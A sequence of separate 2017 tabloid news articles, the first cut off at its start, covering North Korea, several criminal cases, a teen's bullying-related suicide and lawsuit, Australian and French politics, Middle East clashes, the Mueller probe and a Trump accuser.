'If North Korea has a nuclear weapon, who are you going to try to prevent getting one? I mean look at the behavior of this regime, the hostility of this regime to the whole world,' he said on CBS.

Without the option of talks, military action could be on the horizon.

Republican Sen. Lindsey Graham, a member of the upper chamber's Armed Services Committee, put it at 30 percent in an interview that ran last Thursday in the Atlantic - but he raised the odds to 70 percent if North Korea conducts another nuclear test.

'I dont know how to say it any more direct: If nothing changes, Trumps gonna have to use the military option, because time is running out,' Graham said.

Asked if a military strike is all that is left on Tuesday morning McMaster told CBS, 'No, what were doing is really applying maximum pressure to North Korea to convince Kim Jong-un that this is a dead end.'

Reiterating the Trump administration's efforts to isolate North Korea and cripple its trade, he said the rogue government 'has never met a weapon it didn't use, or proliferate, or sell to somebody else.'

'This is a regime that just can't get this destructive capability,' he asserted.
A California couple have been arrested on child endangerment and neglect charges after authorities say the pair tried to sell their two sons in exchange for drugs or money.

At around 4pm on Thursday, Los Angeles County Sheriffs deputies from the Lancaster Station responded to an address in Lancaster after getting a call about a possible child abuse.

Deputies made contact with the suspects and determined that 38-year-old Vincent Calogero and 32-year-old Sarah Nilson had been attempting to give or sell their biological children, according to a press release from the sheriffs office.

Parents jailed: Vincent Calogero, 38 (left), and Sarah Nilson, 32 (right), are accused of trying to sell their two sons in exchange for drugs or cash

Nilson and Calogero's sons (one pictured above) were taken into state custody

The suspects were arrested and transported to Lancaster Station, where they were booked on charges of felony child endangerment, child neglect and being under the influence of a controlled substance.

The parents bail was set at $100,000. Their two sons were taken into the custody of the Department of Children and Family Services.

The sheriffs news release said detectives would like to commend the residents of Lancaster who intervened in response to the danger the children were in.

Detectives are now seeking additional witnesses in the child endangerment case.

They are asking anyone who may have seen Nilson and Calogero abusing their children, or had the duo approach them offering to sell their sons, to contact Lancaster Station at (661) 948-8466.

Criminal counts: The pair (Nilson is pictured left with son) have been charged with child endangerment, child neglect and being under the influence of a controlled substance
Bill Shorten is relying on a union leader charged with blackmail and a former minister who was forced to resign over bullying claims to shore up his Labor leadership.

Mr Shorten, himself a former union boss, became federal Labor leader in 2013 even though a majority of rank-and-file party members preferred Anthony Albanese.

To stave off a possible challenge, he is relying on factional Labor players with controversial reputations to safeguard his hold as Opposition Leader.

Bill Shorten is reportedly relying on controversial factional operators to shore up Labor leadership

The CFMEU's Victorian deputy Shaun Reardon failed to have blackmail charges dropped

They include the Construction Forestry Mining and Energy Union's assistant Victorian secretary Shaun Reardon who failed in August to have 2013 blackmail charges against him dropped.

The Daily Telegraph has obtained a leaked agreement between Mr Shorten and the CFMEU which would see the hard-left union back him in exchange for CFMEU-linked candidates winning promotion in the Labor Party's parliamentary ranks.

The deal threatens the Labor preselections of senior Labor frontbencher Jenny Macklin and fellow Melbourne-based MP Andrew Giles, the newspaper said.

Mr Shorten also reportedly last week met with former Victorian minister Adem Somyurek, who was forced to resign in 2015 following an allegation of bullying and intimidation from his chief-of-staff.

Mr Somyurek denied the allegations but accepted Premier Daniel Andrew's request that he quit following an internal report which allegedly revealed his behaviour.

Bill Shorten met with Adem Somyurek, who was forced to resign as a state minister in 2015 after bullying allegations

Senior Labor frontbencher Jenny Macklin's preselection could be under threat with the deal

This Victorian MP is linked with Mr Shorten's own right faction.

If the opinion polls are correct, Labor would win a federal election held now with a Newspoll out this week showing the ALP ahead of the Turnbull Government 53 per cent to 47 per cent after preferences.

However, Mr Shorten still trails Malcolm Turnbull as the preferred prime minster and is under pressure after Labor secured a lacklustre swing of less than five per cent in Saturday's Bennelong by-election in Sydney's north.
Rosalie Avila, 13, hanged herself on November 28 after being bullied for nearly two years by her classmates

The parents of a 13-year-old girl who committed suicide in November after being bullied for two years are suing her school district over a wrongful death claim.

Rosalie Avila, 13, hanged herself inside her family's Yucaipa, California home on November 28 and was later declared brain dead before being taken off life support December 4.

Her parents, Freddie and Charlene Avila, allege that their eighth-grade daughter was relentlessly bullied at Mesa View Middle School by fellow classmates who taunted her by saying 'she had ugly teeth, that she was ugly, a whore, a slut, and had sexually transmitted diseases,' according to a news release, KTLA reported.

The teen's classmates allegedly circulated a video showing what an ugly girl looked like and what a pretty girl looked like and used a picture of Rosalie to portray the ugly girl,' the release stated.

'In her suicide note, she apologized to her parents for being ugly.'

Weeks after her tragic death, the alleged bullies still targeted her on social media, according to her parents. One recent post read, 'Rosie is still annoying me from the grave.'

Her parents were also subjected to cruel bullying comments and messages.

One person sent them a message with a meme that said 'hey mom,' next to a picture of Rosalie's face.

Her parents, Freddie and Charlene Avila (above), have filed a wrongful death lawsuit against the Yucaipa-Calimesa Joint Unified School District claiming they repeatedly contacted the district about the verbal abuse the teen was subjected to

During a press conference held outside of the school on Monday, her heartbroken father, Freddie (above), said: 'She had so much to give to this world. She was so wonderful. She's going to be in my heart until the day that I die.'

It then showed her face cut out and put onto a body who was giving a thumbs down to a bed, saying 'Next time don't tuck me in this,' and then the her face onto a body pointing at an open grave with the words 'Tuck me in THIS.'

During a press conference held outside of the school on Monday, her heartbroken father, Freddie, said: 'She had so much to give to this world. She was so wonderful. She's going to be in my heart until the day that I die.'

Her parents have filed a wrongful death lawsuit against the Yucaipa-Calimesa Joint Unified School District claiming they repeatedly contacted the district about the verbal abuse the teen was subjected to and told administrators that as a result she had begun to cut herself.

Their attorney, Brian Claypool, said that instead of making sure she was safe, officials tried to bury the issue.

The school district said in a press release on Monday that the school community is still mourning her death alongside her family.

'We strive every day to be a safe, supportive and engaging learning environment,' the statement reads.

The school district (above) said in a press release on Monday that the school community is still mourning her death alongside her family. 'We strive every day to be a safe, supportive and engaging learning environment,' the statement reads.

Even after her death, the bullies began targeting her parents. In one message, a malicious bully sent them an image that showed a photo of their daughter pointing at an open grave. DailyMail.com has chosen to show this picture to reflect the cruelty of the bullies who drove Rosalie to take her own life

'We will continue to raise awareness and work with students and the community to support our children. The issue of suicide awareness and prevention is very important to discuss and address as a community.'

In addition, the school district said it is cooperating with an investigation being conducted by the San Bernardino County Sheriff's Department and has ordered its own internal review.

Her parents also don't want to see any more children die as a result of being bullied by peers.

'We don't want to see no more kids hanging themselves. We don't want to see no more kids get bullied,' Freddie Avila said.

'We don't want nobody to get hurt from these bullies anymore.'

They are working with their attorney and Congressman Adam Schiff to introduce Rosie's Law.

Her family is working with their attorney and Congressman Adam Schiff to introduce Rosie's Law. The proposed legislation calls for school districts to require written reports of all reported bullying incidents, immediately notify parents of such incidents and more

More than $65,000 had been donated to a GoFundMe created to raise money for her funeral - surpassing the $15,000 goal.

The proposed legislation calls for school districts to require written reports of all reported bullying incidents, immediately notify parents of such incidents, treat verbal abuse the same as physical abuse and set up campus suicide prevention centers.

Days after her death, her father said that although his daughter's smile could light up a room, he noticed something was off in the recent months.

He said he found that she was carrying a journal around with her that had names in it of all of the people who used to bully her.

He told ABC 7 that Rosalie would often cut her wrists.

'I remember a couple nights she'd come home, telling me that the kids are calling her names about her teeth,' he said.

'I go, 'You have braces, honey, don't worry. The braces are going to come off,' and she said, 'Yeah, but my teeth are straight and they're still making fun of me.''

More than $65,000 had been donated to a GoFundMe created to raise money for her funeral - surpassing the $15,000 goal.

For confidential support call the National Suicide Prevention Line on 1-800-273-8255.


Michael Gaffney, from Gourock, Inverclyde, made racist remarks and even tried to track down the man's partner, resulting in a criminal conviction

The public would be 'appalled' if a teacher who sent bullets to a man who slept with his wife was allowed to stay in the profession, a hearing was told.

Michael Gaffney, from Gourock, Inverclyde, also made racist remarks to love rival Rudy Irion and even tried to track down the man's partner, resulting in a criminal conviction.

Despite the seriousness of his crime, Gaffney is now trying to convince the General Teaching Council for Scotland (GTCS) not to strike him off.

At the hearing in Edinburgh, Gaffney's lawyer argued the incident, during which the history and modern studies teacher falsely called his rival a rapist and drug dealer, was a one off.

But Natalie McCartney, case presenter for the GTCS, told the hearing: 'Michael Gaffney was convicted with a serious racial offence.

'He knew his behaviuor was wrong. He knew what he was doing. He admitted trying to frighten and seek retribution and has brought the teaching profession into disrepute.'

Ms McCartney added that 'public would be appalled' if the panel were to allow him to carry on teaching.

Gaffney,(left) from Gourock, Inverclyde, also called love rival Rudy Irion (right) a rapist and drug dealer and even tried to track down his partner, resulting in a criminal conviction

Referring to victim Mr Irion, she went on: 'It was a very serious conviction. He engaged them through social media.

'He said Rudy was as rapist and under investigation by the police.'

Ms McCartney said he also involved Mr Irion's partner, Marie Bradley. 'He tried to find their house,' she said.

'He went to the Holiday Inn Express in Greenock to find Marie. He sent letters to their neighbours saying he was a rapist and a drug dealer.

'He attended their house and demanded to speak causing fear and alarm. He then sent a postal package with imitation bullets.'

Gaffney's lawyer, Jamie Foulis, told the hearing: 'The respondent is horrified at his conduct. It wasn't him. His behaviour took place in response to what was going on in his personal life.'

Mr Gaffney, who taught at Ardnamurchan High School in the Highlands, found out that his new wife, Liliya, was having an affair with Mr Irion

At the hearing in Edinburgh, Gaffney's lawyer argued the incident, during which the history and modern studies teacher falsely called his rival a rapist and drug dealer, was a one off

Mr Foulis continued: 'He accepts responsibility for his actions. He was not in a good place but accepts it.

'The respondent's conduct was unacceptable and must not be repeated. He has reflected on his conduct and recognised the potential impact it could have.'

Referring to the community service Gaffney was ordered to undertake on conviction at Greenock Sheriff Court, he said: 'He accepted his sentence and complied with it.

Gaffney's lawyer, Jamie Foulis, told the hearing: 'The respondent is horrified at his conduct. It wasn't him'

'He does not represent a risk to members of the public and there is no evidence of this type of behaviour in a classroom during his 26 year career.'

Clarifying why Mr Gaffney's behaviour won't repeat itself, Mr Foulis said: 'He was experiencing personal and health troubles that were uniquely difficult.

'The respondent is completely different now then at time of offending behaviour. He's much better physically and mentally and doing all he can to maintain that progress.'

Family members provided evidence that Gaffney's conduct was out of character, including from Laura Thornton, who told the hearing: 'A perfect storm engulfed his response which led to uncharacteristic behaviour.

'My brother was very ill. He's a different person now. He's turned his life around.'

Mr Gaffney was sentenced on 12 August last year to 240 hours unpaid community work to be completed within six months.

Mr Gaffney, who taught at Ardnamurchan High School in the Highlands, found out that his new wife, Liliya, was having an affair with Mr Irion.

Mr Gaffney engaged in a social media and in-person harassment campaign over seven months, from the 1 March 2015 to 1 November 2015

A court heard in August 2016 that Liliya met Rudy at the Cafe Continental bar in Gourock in October 2003 when she was three months into her marriage.

They both went back to Rudy's house and they began a fling.

Mr Gaffney then engaged in a social media and in-person harassment campaign over seven months, from the 1 March 2015 to 1 November 2015.

The Highland Council suspended Mr Gaffney from Ardnamurchan High School, where he taught History and Modern Studies, when he was sentenced in 2016

Michael Gaffney sent Rudy Irion imitation bullets to his house and stalked him on social media, saying he was a rapist under investigation by the police, and even turning up to his house.

A furious Mr Gaffney also sent Rudy's neighbours letters falsely saying Rudy was under investigation by the police for being a rapist and drug dealer.

In the letter to Rudy, Mr Gaffney made racist remarks.

Along with sending two imitation bullets, Mr Gaffney's package also included the words: 'One warning only. You will be shot.

'No more hiding behind doors and your woman: cowardly liar, crook and fraudster. Now a target.

'Remove from this address in Greenock now. Last chance. Belfast Continuity. One warning only.'

The Highland Council suspended Mr Gaffney from Ardnamurchan High School, where he taught History and Modern Studies, when he was sentenced in 2016.

A Highland Council spokesperson said: 'Michael Gaffney does not work for Highland Council. We do not comment on personnel matters.'

The hearing continues.
A woman has been charged with attempted murder after reportedly driving her rental car into her boyfriend while on vacation in Hawaii.

Crystal Young, 30, allegedly struck Emil Dushkin, 36, with a black sedan on the Old Airport Runway in Kailua-Kona last Friday, causing serious injuries.

'We were like, "Oh my God, she's going to hit him,"' witness Tahiti Cho told CBS News.

Crystal Young, 30, (pictured) allegedly struck Emil Dushkin, 36, with a black sedan on the Old Airport Runway in Kailua-Kona, last Friday, causing serious injuries

She described seeing Young hit him head-on, adding: 'He wasn't moving. I hope the guy is OK.'

Young, who is from Anchorage, Alaska, was later seen fleeing into some bushes, where she was found by police.

She was later charged with attempted murder and her bail was set at $281,000.

Dushkin, who is also from Alaska, remains in a critical condition at Queens Medical Center in Honolulu.

Young, who is from Anchorage, Alaska, later fled into some bushes, where she was found by police

Speaking at a hearing on Monday morning, Young's defense counsel, Andrew Kennedy, told a district court that his client's mental health may have affected her.

A mental health evaluation has now been ordered for Young.

A review hearing has been scheduled for January.

Anyone who witnessed this incident is asked to call the police non-emergency line at 935-3311 or Crime Stoppers at 961-8300.
A Palestinian demonstrator dressed as Santa Claus was seen throwing rocks at Israeli troops when a protest near the West Bank city of Ramallah turned violent today.

Clashes near between Israeli military and Palestinian protesters have been virtually non-stop since U.S. President Donald Trump decided to publicly recognize Jerusalem as the capital of Israel on December 6.

Earlier today, Israels defence minister said the country is 'ready to pay the whole price' for Trump's move.

Happy Xmas (War is not over): A Palestinian demonstrator dressed as Father Christmas is seen hurls stones towards Israeli troops near Ramallah on the West Bank

'It was clear to us that the US President's declaration (on Jerusalem) will have a price, and I repeat, we are ready to pay the whole price,' Defence Minister Avigdor Lieberman said Tuesday.

Speaking during a visit to a military base near the Gaza border, he added: 'This determination (on Jerusalem) is important.

'We will not tolerate any leakage' of rockets fired from Gaza at Israel.'

At least 15 rockets or projectiles fired at the Jewish state from the Gaza Strip in the past two weeks.

Holiday clashes: Protesters and Israeli military reportedly clashed at the protest near the West Bank city of Ramallah on Tuesday

Anger: The protest was being held against U.S. President Donald Trump's decision to recognize Jerusalem as the capital of Israel

A number have fallen inside the Palestinian enclave itself or been intercepted by Israel's missile defence systems, but a few have hit Israel.

They have caused minor damage but no injuries, although the attacks have raised fears of a new round of confrontation with Gaza's rulers Hamas, with which Israel has fought three wars since 2008.

The Israeli army believes the rocket fire from Gaza has not come from Palestinian fundamentalist group Hamas, with whom they currently have a ceasefire agreement, but from more radical Islamist groups, broadly called Salafists.

Lieberman said Hamas had arrested Salafists in recent days, but there has been no confirmation of this from Hamas.

A Palestinian demonstrator hurls back a tear gas canister fired by Israeli troops during clashes at a protest on Tuesday

'Israel is ready and set like never before,' Lieberman added.

'Hamas has also understood and internalised (this), and this is why we've seen dozens of Salafi activists arrested by Hamas.'

Israel seized the largely-Arab eastern sector of Jerusalem during the 1967 Six-Day War and later annexed it, claiming both sides of the city as its 'eternal and undivided capital.'

But the Palestinians want the eastern sector as capital of their future state and have been infuriated by Trump's decision to recognise the city as the Israeli capital.
Callum McBrearty (pictured outside court), 23, used the gay dating app Grindr to prowl for sexual thrills when he met a 'curious' 14-year-old boy in June 2016

A pervert who sent a naked picture of himself to a 14-year-old boy which turned out to be a group of vigilante paedophile hunters was told he was 'lucky' to be spared jail.

Callum McBrearty, 23, used the gay dating app Grindr to prowl for sexual thrills when he met a 'curious' 14-year-old boy in June 2016.

Within an hour of finding him on the app, McBrearty, who had already been convicted of having indecent images of children in 2013, sent him a picture of his penis and suggested they meet up.

He was hauled back before a judge at Southwark Crown Court today for failing to attend a rehabilitation programme to help prevent him re-offending.

The 23-year-old was sentenced to eight months in prison, suspended for two years, and is now subject to a five-year Sexual Harm Prevention Order.

Judge Joanna Korner, QC, told McBrearty's lawyer: 'I don't know that your client knows just how lucky he was getting a suspended sentence for a crime like this.

'A judge very rarely gives such a sentence for this type of offence.'

McBrearty, who was given a conditional discharge for his previous offences in 2013, arranged to meet the boy at McDonald's on Eltham High Street in south east London.

But when he arrived on July 3 last year, self-proclaimed paedophile investigators from online group 'The Hunted One' surrounded him until the police came.

The group's website claims they have caught out 43 people to date, but not all of these people have been convicted and some are awaiting legal action.

He arranged to meet the boy at McDonald's on Eltham High Street in south east London. But when he arrived on July 3 last year, self-proclaimed paedophile investigators from online group 'The Hunted One' surrounded him until the police came

The court heard McBrearty has since lost his job as a barman and was planning to change his name to avoid the 'humiliation' of being publicly outed as a paedophile.

He told police: 'As a 14-year-old I would have welcomed some guidance from an older gay person as to how he would conduct himself in the future.'

When she sentenced McBrearty in April, Judge Deborah Taylor said his offending escalated 'from merely having images to moving to contacting young people, in fact children under the age of 16.'

But she spared him immediate custody after Chistopher Amis, defending, argued he would 'simply emerge as an unreformed paedophile' if he were to be put behind bars.

McBrearty, of Bromley, south east London, admitted one count of attempting to cause a child aged 14 to look at an image of a person engaging in sexual activity.

He was sentenced to eight months imprisonment, suspended for two years, and a five-year Sexual Harm Prevention Order was imposed, preventing him from making any contact with or possessing any images of any child under the age of 16, save for his immediate family.

One count of attempting to cause a boy aged 14 to engage in sexual activity involving oral sex and one of attempting to meet a boy aged 14 for the purposes of committing a sexual offence were left to lie on file.

He was fined 200 and ordered to pay costs of 100 for breaching the original order 'with a warning that if this happens again the suspended sentence will be implemented.'
A wife has been charged with stabbing to death her husband after a drunken Christmas party.

Neil Jex, 52, died at the South Wales home he shared with his wife Natasha, 31, in the village of Penywaun near Aberdare.

Mr Jex was found in a pool of blood after a 999 call to the couple's home and his wife was arrested on Sunday night and later charged with murder.

Smith was remanded in custody by Merthyr Tydfil magistrates yesterday and will appear at Cardiff Crown Court today.

Natasha Smith has been charged with murdering her husband Neil Jex (pictured with their child) after a drunken Christmas lunch

The couple (dressed as Where's Wally) are said to have had a row after a Christmas lunch and an afternoon of drinking

Mr Jex was found in a pool of blood after a 999 call to the couple's home in the village of Penywaun, Aberdare

Flowers left at the scene described their grief at the sudden death in the small South Wales community

The couple had been out with friends for a Christmas lunch and carried on drinking through the evening.

Police believe they rowed when they arrived home and Natasha allegedly stabbed him with a kitchen knife.

Police believe they rowed when they arrived home and Natasha allegedly stabbed him with a kitchen knife

Police are trying to discover if anything happened at the party to cause the Christmas horror.

A neighbour said: 'They had been out for the day and had just got back when something went wrong.

'An ambulance was here in minutes but they could not save him. The street was full of police car and ambulances.

'No one can understand it, they were good together and always seemed happy. It's tragic for both of them.'

The couple's three-bedroomed end-of-terrace house in the village of Penywaun, Aberdare, South Wales, was sealed off by police today.

Forensic officers removed the couple's belongings including a computer from the pebble-dashed house which has 'Merry Christmas' stickers on the front windows.

Tributes were paid to Liverpool fan Neil who was described as 'the life and soul of the party'.

Neil's family said in a statement: 'We are completely devastated, we have lost a brother, son, father, grandfather and friend.

'He adored his family and once you met him you would very rarely forget him.

'His legacy will live on through his grandson who will never have the opportunity to love him as much as we did.'

The couple are believed to have a child together and married in 2011

Neil recently became a grandfather after his daughter from his first marriage Tanysha, 23, had a little boy Charlie.

Neil recently became a grandfather after his daughter from his first marriage Tanysha, 23, had a little boy Charlie

Neil was a proud stepdad to Natasha's 14-year-old son and the couple had a baby boy of their own two years ago.

Another neighbour said: 'They loved that little boy more than anything - now he's lost his dad in the blink of an eye.

'He was at home with one of the older children when this happened.

'It is too tragic for words at this time of year. Neil was well thought-of and played a big part in the local community.

'They seemed happy together, no one can understand it.'

Neil and Natasha, who used her maiden name Smith, were both involved in the local rugby club and raised funds by climbing Penyfan, the highest mountain in the Brecon Beacons.

One friend on Facebook described Neil, who worked for a car components company, as a 'diamond of a man.'

South Wales police confirmed they are not looking for anyone else in connection with the alleged murder.

Police arrested the 31-year-old murder suspect on Sunday and she was up in court today

South Wales Police have sealed off the house and were seen removing items in evidence bags today

A spokesman said: 'We were called to an address in Penywaun, Aberdare, at 9.30pm on Sunday evening.

'An investigation into the death of Neil Jex is being carried out by the South Wales Police Major Crime Investigations Team.

'We have charged a 31-year-old woman with murder following the death of a Mr Jex.'

She will appear at Cardiff Crown Court tomorrow.
Special counsel Robert Mueller's probe  which has kept White House officials on edge as Mueller called in witnesses and obtained thousands of internal documents  could run through 2018, according to insider accounts.

Lawyers for President Trump are expected to meet later this week with investigators on Mueller's team, who have interviewed White House, transition, and former campaign officials as part of the sprawling Russia investigation.

White House lawyer Ty Cobb has predicted the investigation is wrapping up. But guilty pleas by former campaign advisor George Papadopoulos and former White House national security advisor Mike Flynn raise the possibility of an extended probe that continues to advance.

White House lawyers, who have been fielding Mueller's document requests for months, plan to ask investigators if they need any more information to wrap up the probe, a person familiar with the team's intentions told The Washington Post.

Special Counsel Robert Mueller's investigators are expected to meet with White House lawyers this week

They plan to ask: 'You've had all these witnesses, all these records. Is there anything else you need from the White House?'

The inquiry or even the public airing of the meeting is likely an effort to try to hurry along the probe and raise pressure for its conclusion.

Cobb has repeatedly urged full cooperation with the inquiry, in hopes to clear it away as soon as possible.

But people with knowledge of the inquiry told the Post it could last another year  which would have President Trump fending off questions about his associates' contacts with Russia for half of his term.

Asked Sunday whether he was considering firing Mueller, Trump responded, ''No, I'm not.'

But he also said it was 'pretty sad' the Mueller's office was able to obtain emails his transition team sent on government-owned email accounts during the transition. A transition lawyer released a letter complaining about it. Mueller's investigators got the emails from the government's General Services Agency.

Former campaign foreign policy advisor George Papadopoulos has pleaded guilty to lying to the FBI

Several ongoing cases appear certain to keep the special counsel's office engaged. Former campaign foreign policy advisor George Papadopoulos has pleaded guilty to lying to the FBI about his contacts with a professor with Kremlin contacts and is cooperating with prosecutors.

The prosecution of former Trump campaign chair Paul Manafort on money laundering and other charges continues.

Asked Sunday whether he was considering firing Mueller, President Trump responded, 'No, I'm not'

Special Counsel Robert Mueller has come under fire by Republicans after private text messages between some of his top agents were revealed.

Special Counsel Robert Mueller has come under fire by Republicans after private text messages between some of his top agents were revealed.

Deputy FBI Director Andrew McCabe was expected to get grilled about it Tuesday in closed testimony before the House Intelligence Committee.

House Republican Judiciary members blasted 'bias' among Mueller's investigators last week during an oversight hearing with deputy attorney general Rod Rosenstein, in an attack that could indicate an effort to pave the way for Mueller's eventual firing.
The mayors of seven large French cities have appealed to the national government to save them from the 'social emergency' of huge numbers of migrants.

Local chiefs from Nantes, Lille, Bordeaux, Grenoble, Rennes, Toulouse and Strasbourg wrote an open letter to Parisian officials to beg for relief from the 'extreme tension' caused by the arrival of people seeking a new home.

The mayors - including this year's presidential hopeful Alain Juppe (from Bordeaux) - explained that there had been a 'massive rise in the demand for asylum', with 'several thousand' migrants arriving every month.

The letter comes just over a year after the relocation of several thousands migrants from the Calais Jungle in Northern France (pictured)

The mayors - including this year's presidential hopeful Alain Juppe (pictured) - explained that there had been a 'massive rise in the demand for asylum', with 'several thousand' migrants arriving every month

Local chiefs from Nantes, Lille, Bordeaux, Grenoble, Rennes, Toulouse and Strasbourg wrote an open letter to Parisian officials to help relieve the 'extreme tension' caused by the arrival of people seeking a new home. Pictured: Migrants leaving the Calais Jungle last year

Writing to Le Monde, they added: 'A social emergency. An urgent solidarity. [Our cities] are, on this subject as on others, on the front line.

'We can not, we must not, resign ourselves to the human, social and health drama of uprooting migrants. Every month, several thousand people arrive in our cities.

'Integrating those recognized as refugees and helping those who have lost their right of asylum who still remain in our territory is a major issue.'

The letter further explained that the crisis - of 'a proportion never before known' - was leading to a 'saturation' of core services supplied to migrants such as housing and welfare despite a 'steady increase' in the number of places made available.

It added: 'The evidence is there, before our eyes, in our streets, in homes and shelters: there is urgency.'

Their request is for a 'solidarity network' between major French cities as a means of addressing the migrant crisis with unity.

Writing to Le Monde , they added: 'A social emergency. An urgent solidarity. [Our cities] are, on this subject as on others, on the front line'. Pictured: A migrant boat stopped off the coast of Libya. Most migrants arrive through Spain, Italy or Greece but spread throughout the EU as they attempt to reach their final destination

The country's Ministry of the Interior responded to the letter by putting forward a 20,000-home resettlement plan for migrants by the end of 2018, AFP reported. Pictured: A large crowd of migrants walks along the Croatia-Slovenia border during the peak of the migrant crisis

They also asked for a major scheme to deal with the arrivals to be financed properly to allow for a 'real plan of reception' for migrants.

The country's Ministry of the Interior responded to the letter by putting forward a 20,000-home resettlement plan for migrants by the end of 2018, AFP reported.

It promised a 'balanced distribution' across France's regions, with private and public landlords being 'mobilised' to help the project.

As well as this, 'mobile teams' have been asked to identify migrants being housed in emergency accommodation.

The letter comes just over a year after the relocation of several thousands migrants from the Calais Jungle in Northern France.
The uniforms of air stewardesses for AirAsia and Firefly could arouse passengers as they are 'too revealing', according to a Malaysia senator.

Senator Abdullah Mat Yasim said the 'eye-catching outfits' did not portray Malaysia's Islamic roots.

The comments were made yesterday in the Dewan Negara, which is the upper house of the Parliament of Malaysia.

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'Eye-catching outfits': AirAsia has come under fire from senators in Malaysia for being too provocative

Senator Hanafi Mamat suggested that air stewardesses should wear shariah-compliant clothing, which would show Malaysia is a Muslim country

He added that 'The Malaysian Aviation Commission (MAVCOM) must really look into this', according to New Straits Times.

The senator is of the Umno political party, which is currently in power.

Abdullah's comments were met with agreement by fellow senator, Megat Zulkarnain Omardin, who is the General Secretary of the Malaysian National Silat Federation.

He felt that Malaysia airline Malindo also dressed their air stewardesses too provocatively. 'My wife is worried whenever I fly alone on Malindo or AirAsia.

'This is a real hassle for me.'

However, Abdullah disagreed that Malaysian aircarrier, Malindo, provided their air stewardesses with inappropriate uniforms.

'Too revealing': Senator Abdullah Mat Yasim said the outfits of air stewardesses on AirAsia and Firefly were inappropriate

He said the outfits were suitable because the 'sensitive areas' were not visible. He did not clarify what the 'sensitive areas' were.

The Dewan Negara (Malaysian Parliament) deputy president Abdul Halim Abd Samad felt the issue was an important one.

He said: 'This is a good topic that many people can relate to as they always take flights.'

The comments come soon after Senator Hanafi Mamat suggested that air stewardesses should wear shariah-compliant clothing.

According to Channel News Asia, he said: 'We are proud that Malaysia is an Islamic country with its own cultural identity, but when our flight stewardesses dress sexily and disrespectfully, this will give tourists who use the services of our national carriers the wrong impression.

'The time has come for the government to provide new uniform guidelines which will portray Malaysia as a Muslim country with strong Eastern values.'
A 15-year-old girl who suffered shrapnel wounds from the Manchester arena bombing has defied all odds to perform in her school's Christmas dance.

Eve Senior, 15, was leaving the Ariana Grande concert when Salman Abedi detonated a homemade explosive device, murdering 22 people.

She suffered 18 shrapnel wounds, burns and a severed nerve in her leg in the blast, an injury which recently flared up again and forced her back on to crutches.

Eve Senior, 15, was leaving the Ariana Grande concert when Salman Abedi detonated a homemade explosive device, murdering 22 people

A picture of Eve, from Queensbury in West Yorkshire, became one of the defining photos of the atrocity on May 22 this year.

In the image, her left knee was wrapped in a bandage, blood had streaked down her left arm and her jeans were ripped.

Beckfoot Thornton Academy pupil Eve broke down in tears when she returned to her dance group weeks after the horror blast knowing it would be a long road back to the stage.

She was dealt a further blow when doctors warned she wouldn't be able to take part 'The Magic of Musicals' school show but Eve was determined to prove them wrong.

And she has astonishing fought through several hospital visits and three operations and will take part in her dance school's end of year show on Saturday.

She said: 'I just thought, no, it will be possible.

This picture of Eve, from Queensbury in West Yorkshire, became one of the defining photos of the atrocity on May 22 this year

'Straight from when they told me I just knew I wasn't going to sit and watch the show. I'm not that kind of person, I wouldn't want to do that.

'Just because this unlucky thing happened to me, it doesn't mean that it can stop me from doing stuff I've done my whole life.

'I can't dance the same as I used to be able to and I won't be able to do that for quite a long time, but it's a good thing to be able to even do one dance.'

Manchester teddy bears will be given to children around the world

Hundreds of teddy bears left as tributes in the aftermath of the Manchester Arena terror attack are to be sent to children around the world.

More than 100 volunteers from the Women's Institute (WI) and shoemakers Timpsons have re-purposed 1,900 toys left by well-wishers.

The teddies will now be distributed to youngsters via Greater Manchester charities including Wood Street Mission and The Toy Appeal.

Pictured, tributes are laid to those who were killed in the Manchester terror attack in St Ann's Square in the city

Bearly Loved and The Teddy Trust, which work internationally, will also send some out across the globe.

After being carefully removed from St Ann's Square, Timpsons stepped forward to store the soft toys and dry them out.

They were then handed to army of WI members from across Greater Manchester to be washed and repaired where needed.

Judith Suckling, vice president of Old Trafford Wonder Women WI, said it was an honour to help.

'It was very moving for all of us, knowing the bears' history and why they had been left on the square.

'We wanted to do our own bit to clean them and give them a future', she said.

It is estimated around 300,000 bouquets of flowers were also left by mourners.

Most of the floral tributes were taken to Wythenshawe Park, where the wrapping was removed by In Bloom volunteers.

Any messages attached were saved to be added an archive, while bouquets past their best were composted and used in the city centre and elsewhere.

Some flowers were pressed or air-dried to be used in the future.

Around 600 potted plants were also left in St Ann's Square.

Many were planted around the city centre, including at Manchester Cathedral and Manchester Art Gallery.

The rest were either donated to residential care homes, offered to gardening groups, or planted in Wythenshawe Park.

Cards, candles, balloons and other momentoes such as Manchester Run medals, bee-related objects, knitted or sewn items as well as very personal items left for individuals, have all too been saved and will be cleaned and placed into the archive.

Cllr Sue Murphy, deputy leader of Manchester City Council, said: 'We're determined this horrific event that has both devastated and touched the lives of so many people shall not be forgotten, and nor will those who died or were injured.

'The amount of love and feeling invested in each and every one of the teddies and other tributes left on St Ann's Square could be felt by everyone who saw them, and absolutely no-one could have failed to have been moved by them.

'Whilst we will never forget what has happened, it's important that we also start to look towards the future.

'Moving on this huge family of teddies that were left with such feeling and amongst much sadness on St Ann's Square for other children now to enjoy and to cherish is a big part of this.'
A woman who accused Donald Trump on the eve of last year's Republican National Convention of groping her in 1993 approached his company just months earlier to ask for work as his campaign makeup artist, it has emerged.

Jill Harth filed a $125 million lawsuit against Trump in 1997, and then later withdrew it. The suit claimed the future president sexually assaulted her and tried to rape her.

She reiterated her claims in July 2016. But between August 2015 and January 2016 she was in full but unsuccessful begging mode, asking Trump's corporate assistant Rhona Graff to let her tag along on the campaign trail and endorse her line of men's cosmetics.

The Hill recounted Harth's story on Monday, relying on emails first published by The Guardian when her accusations first rocked the Republican primary season last year.

In one January 2016 email, Harth offered that she 'would be willing to say at a rally or somewhere how [Trump] helped me with my self-confidence and all positive things about how he is with women to counter any potential negativity that may come out at some point in the campaign.'

Her name burst back into the news last week after attorney Lisa Bloom admitted trying to arrange payoffs for a handful of women  including Harth  who accused Trump of sexual misconduct during the presidential campaign.

Jill Harth, a woman who accused Donald Trump of sexual assault more than two decades ago, had earlier begged his assistant to let her do the then-candidate's makeup

Harth is among the Trump accusers for whom attorney Lisa Bloom tried to arrange payoffs to tell their stories

She offered in early 2016 to vouch publicly for Trump's character at campaign rallies, but turned up six months later to accuse him of sexual assault

Bloom set up a GoFundMe page for Harth to 'get her back on her feet.'

It only raised $2,300, but an unnamed donor paid off Harth's mortgage, giving her an amount news reports pegged as $30,000.

Harth's overtures started as the Trump train first gathered steam during the Republican primary season.

